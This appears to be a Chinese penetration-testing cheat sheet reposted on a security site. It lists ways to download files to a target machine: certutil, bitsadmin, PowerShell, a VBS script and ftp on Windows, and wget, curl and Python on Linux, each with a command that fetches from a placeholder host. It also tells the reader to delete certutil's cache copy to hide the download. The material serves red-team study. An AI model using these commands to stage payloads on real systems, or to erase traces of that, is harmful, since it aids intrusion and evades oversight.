渗透测试中常用的文件下载方式总结

admin 2021年3月25日17:54:32渗透测试中常用的文件下载方式总结已关闭评论146 views字数 2045阅读6分49秒阅读模式

0x01 Windows

certutil

certutil是Windows自带的工具,具有下载文件,校验文件MD5、SHA1、SHA256,文件base64编码等功能。

使用certutil下载文件,保存在当前路径,文件名称与下载文件名称相同:
certutil -urlcache -split -f http://remote.url/certutil.test

渗透测试中常用的文件下载方式总结

保存当前路径,指定保存文件名称:
certutil -urlcache -split -f http://remote.url/certutil.test test.test

渗透测试中常用的文件下载方式总结

certutil下载文件会在缓存目录保存副本,真实渗透中我们需要清除副本

直接到缓存目录删除文件,缓存目录为%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content

渗透测试中常用的文件下载方式总结

使用命令行删除缓存副本:
certutil -urlcache -split -f http://remote.url/certutil.test delete

渗透测试中常用的文件下载方式总结

bitsadmin

bitsadmin也是Windows的下载命令之一,但是它只适用于Windows7及以上的系统版本。

使用bitsadmin下载文件,指定保存路径与文件名:
bitsadmin /transfer n http://remote.url/bitsadmin.test c:\users\Administrator\Desktop\bitsadmin\bitsadmin

渗透测试中常用的文件下载方式总结

powershell

powershell是一款强大的命令执行工具,可以使用powershell进行文件下载,适用于带有powershell的Windows系统,Windows7及以上系统默认自带powershell。

使用powershell下载文件,指定保存路径与文件名:
powershell (new-object Net.WebClient).DownloadFile('http://remote.url/powershell.test','c:\users\administrator\desktop\powershell\powershell')

渗透测试中常用的文件下载方式总结

vbs

vbs是基于Visual Basic的脚本语言,Windows自带vbs的脚本解释器,可以在Windows系统中直接运行vbs脚本。

使用vbs脚本下载文件,指定保存路径与文件名,脚本代码如下:
vbs
Set x= createObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 //^:转义后面的字符

将代码保存为.vbs文件,使用.vbs文件下载文件,指定保存路径与文件名:

渗透测试中常用的文件下载方式总结

ftp

利用文件传输协议ftp进行文件下载。首先在远端搭建ftp服务,然后在需要下载的机器中创建如下文件:
open 103.x.x.x(ftp服务端地址)
user_name(用户名)
user_pass(密码)
get file(文件名)
quit

使用ftp命令下载文件:
ftp -i -s:command.txt

渗透测试中常用的文件下载方式总结

0x02 Linux

wget

关于wget的功能想必不用过多赘述,是Linux系统中使用较多的下载工具。

使用wget下载文件,指定保存的文件名和路径:
wget http://remote.url/wget.test -o /root/downloadtest/testwget

渗透测试中常用的文件下载方式总结

curl

curl是利用url语法在命令行下进行文件传输的工具。

使用curl下载文件,指定保存的文件名和路径:
curl -o /root/downloadtest/testcurl http://remote.url/curl.test //o为小写

渗透测试中常用的文件下载方式总结

python

利用Linux自带的python语言实现文件下载:
```

python3:

python -c "import urllib.request; url = 'http://remote.url/python.test'; urllib.request.urlretrieve(url, '/root/downloadtest/testpython')"

python2:

python -c "import urllib2;u=urllib2.urlopen('http://remote.url/python.test');localfile=open('c:/users/administrator/desktop/1.py','w');localfile.write(u.read());localfile.close();"
```

渗透测试中常用的文件下载方式总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年3月25日17:54:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透测试中常用的文件下载方式总结http://cn-sec.com/archives/299932.html